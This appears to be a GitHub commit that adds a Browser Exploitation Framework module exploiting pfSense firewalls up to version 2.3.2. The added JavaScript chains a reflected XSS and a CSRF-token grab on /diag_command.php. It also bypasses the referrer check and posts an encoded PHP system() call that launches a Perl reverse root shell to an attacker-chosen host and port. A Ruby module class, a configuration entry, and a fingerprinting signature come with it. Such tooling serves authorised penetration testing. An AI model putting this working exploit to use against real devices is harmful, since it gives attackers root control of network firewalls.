Skip to content

Commit 2f632bc

Browse files
committed
Add pfSense <= 2.3.2 Reverse root shell via CSRF/XSS exploit module
1 parent 0527be3 commit 2f632bc

File tree

5 files changed

+149
-0
lines changed

5 files changed

+149
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
//
2+
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
3+
// Browser Exploitation Framework (BeEF) - http://beefproject.com
4+
// See the file 'doc/COPYING' for copying permission
5+
//
6+
7+
beef.execute(function() {
8+
var rhost = '<%= @rhost %>';
9+
var rport = '<%= @rport %>';
10+
var lhost = '<%= @lhost %>';
11+
var lport = '<%= @lport %>';
12+
var hook = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + "/x.js";
13+
14+
var target = 'http://' + rhost + ':' + rport + '/status_captiveportal_expire.php?zone="><script src="' + hook + '"></script>#lhostlport=' + lhost + ':' + lport + '&redir=' + encodeURIComponent(document.location);
15+
16+
// Add dynamicaly the <meta> tag to disable referrer forwarding (pfSense check if the referrer is different, but uncheck if it's an empty referrer).
17+
beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Disable referrer forwarding in the hooked page (bypass pfSense referrer analysis).");
18+
var meta = document.createElement('meta');
19+
meta.name = "referrer";
20+
meta.content = "no-referrer";
21+
document.getElementsByTagName('head')[0].appendChild(meta);
22+
23+
// Force redirection of the hooked page to the pfSense XSS-GET/CSRF-with-token/RCE-root payload (without referrer and X-frame-option bypass)
24+
// A full redirection is needed because pfSense disallow framing via X-frame-origin header...
25+
// The current URL of the hooked page is sent via the payload to redirect back after few second
26+
beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Go to the pfSense XSS-GET vulnerable page to load the payload in pfSense context (bypass X-Frame-Origin).");
27+
document.location = target;
28+
29+
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown());
30+
});
31+
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
#
2+
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
3+
# Browser Exploitation Framework (BeEF) - http://beefproject.com
4+
# See the file 'doc/COPYING' for copying permission
5+
#
6+
beef:
7+
module:
8+
pfsense_2_3_2_reverse_root_shell_csrf:
9+
enable: true
10+
category: ["Exploits", "pfSense"]
11+
name: "pfSense <= 2.3.2 Reverse Root Shell CSRF"
12+
description: "Attempts to get a reverse root shell on a pfSense 2.3.2 firewall/router.<br /><a target='_blank' href='https://pfsense.org/security/advisories/pfSense-SA-17_01.webgui.asc'>Vulnerablity</a> found and PoC provided by <a target='_blank' href='https://www.linkedin.com/in/yann-cam-621b0b42'>Yann CAM</a> <a target='_blank' href='https://www.asafety.fr'>@ASafety</a> / <a target='_blank' href='http://www.synetis.com'>Synetis</a> (<a target='_blank' href='https://www.youtube.com/watch?v=IWtf6LlfP_c'>demo video</a>).<br />Patched in version <a target='_blank' href='https://doc.pfsense.org/index.php/2.3.3_New_Features_and_Changes'>2.3.33</a>."
13+
authors: ["ycam"]
14+
target:
15+
working: ["FF"]
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#
2+
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
3+
# Browser Exploitation Framework (BeEF) - http://beefproject.com
4+
# See the file 'doc/COPYING' for copying permission
5+
#
6+
class Pfsense_2_3_2_reverse_root_shell_csrf < BeEF::Core::Command
7+
8+
def pre_send
9+
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js', '/x', 'js')
10+
end
11+
12+
def self.options
13+
configuration = BeEF::Core::Configuration.instance
14+
lhost = "#{configuration.get("beef.http.host")}"
15+
lhost = "" if lhost == "0.0.0.0"
16+
return [
17+
{ 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.254'},
18+
{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },
19+
{ 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost},
20+
{ 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444'}
21+
]
22+
end
23+
24+
def post_execute
25+
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('x.js')
26+
save({'result' => @datastore['result']})
27+
end
28+
end
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
// Function Ajax without JQuery library
2+
function ajax(url, method, data, async){
3+
method = typeof method !== 'undefined' ? method : 'GET';
4+
async = typeof async !== 'undefined' ? async : false;
5+
if(window.XMLHttpRequest)
6+
var xhReq = new XMLHttpRequest();
7+
else
8+
var xhReq = new ActiveXObject("Microsoft.XMLHTTP");
9+
10+
if(method == 'POST'){
11+
xhReq.open(method, url, async);
12+
xhReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
13+
xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest");
14+
xhReq.send(data);
15+
} else {
16+
if(typeof data !== 'undefined' && data !== null)
17+
url = url+'?'+data;
18+
xhReq.open(method, url, async);
19+
xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest");
20+
xhReq.send(null);
21+
}
22+
var serverResponse = xhReq.responseText;
23+
return serverResponse;
24+
}
25+
26+
var hash = window.location.hash.substring(1);
27+
var lhostlport = hash.substring(hash.indexOf("lhostlport=")+11, hash.indexOf("&"));
28+
var splitlhostlport = lhostlport.split(":");
29+
var lhost = splitlhostlport[0];
30+
var lport = splitlhostlport[1];
31+
var redir = hash.substring(hash.indexOf("redir=")+6, hash.length);
32+
33+
var payload='system%28%27%2fusr%2flocal%2fbin%2fperl%20-e%20%5C%27use%20Socket%3B%24i%3D%22' + lhost + '%22%3B%24p%3D' + lport + '%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%5C%27%26%27%29%3B';
34+
35+
// Function with AJAX request
36+
// This function requests in GET an internal WebGUI page, which contains the token.
37+
// Source code of this webpage is passed to the extractToken() function.
38+
function loadToken(){
39+
var response = ajax('/diag_command.php');
40+
extractToken(response);
41+
}
42+
43+
// Function called after AJAX request in a defined page of the context, which contains the token value
44+
function extractToken(response){
45+
// response var contains the source code of the page requested by AJAX
46+
// Regex to catch the token value
47+
var regex = new RegExp("<input type='hidden' name='__csrf_magic' value=\"(.*)\" />",'gi');
48+
var token = response.match(regex);
49+
token = RegExp.$1;
50+
// Pass the token to the final function which make the CSRF final attack
51+
makeCSRF(token);
52+
}
53+
54+
// Function with AJAX request
55+
// The token var is needed to perform the right CSRF attack with the context referer
56+
function makeCSRF(token){
57+
// Final CSRF attack with right referer (because executed in the context)
58+
// and with right token captured above
59+
var response = ajax('/diag_command.php', 'POST', 'txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=' + payload + '&submit=EXECPHP&__csrf_magic=' + token);
60+
// Finally, redirect back to the intial hooked page
61+
document.location=decodeURIComponent(redir);
62+
}
63+
64+
// The Reflected XSS is triggered several time. The next code force the RXSS firering only one time
65+
if (trigger){
66+
} else {
67+
var trigger = function(){
68+
loadToken();
69+
};
70+
trigger();
71+
}

modules/network/internal_network_fingerprinting/command.js

+4
Original file line numberDiff line numberDiff line change
@@ -240,6 +240,10 @@ beef.execute(function() {
240240
"pfSense",
241241
"443","https",false,
242242
"/themes/pfsense_ng/images/logo.gif",200,56),
243+
new Array(
244+
"pfSense CE <= 2.3.2",
245+
"80","http",false,
246+
"/logo.png",124,36),
243247
new Array(
244248
"Apache Tomcat",
245249
"8080","http",true,

0 commit comments

Comments
 (0)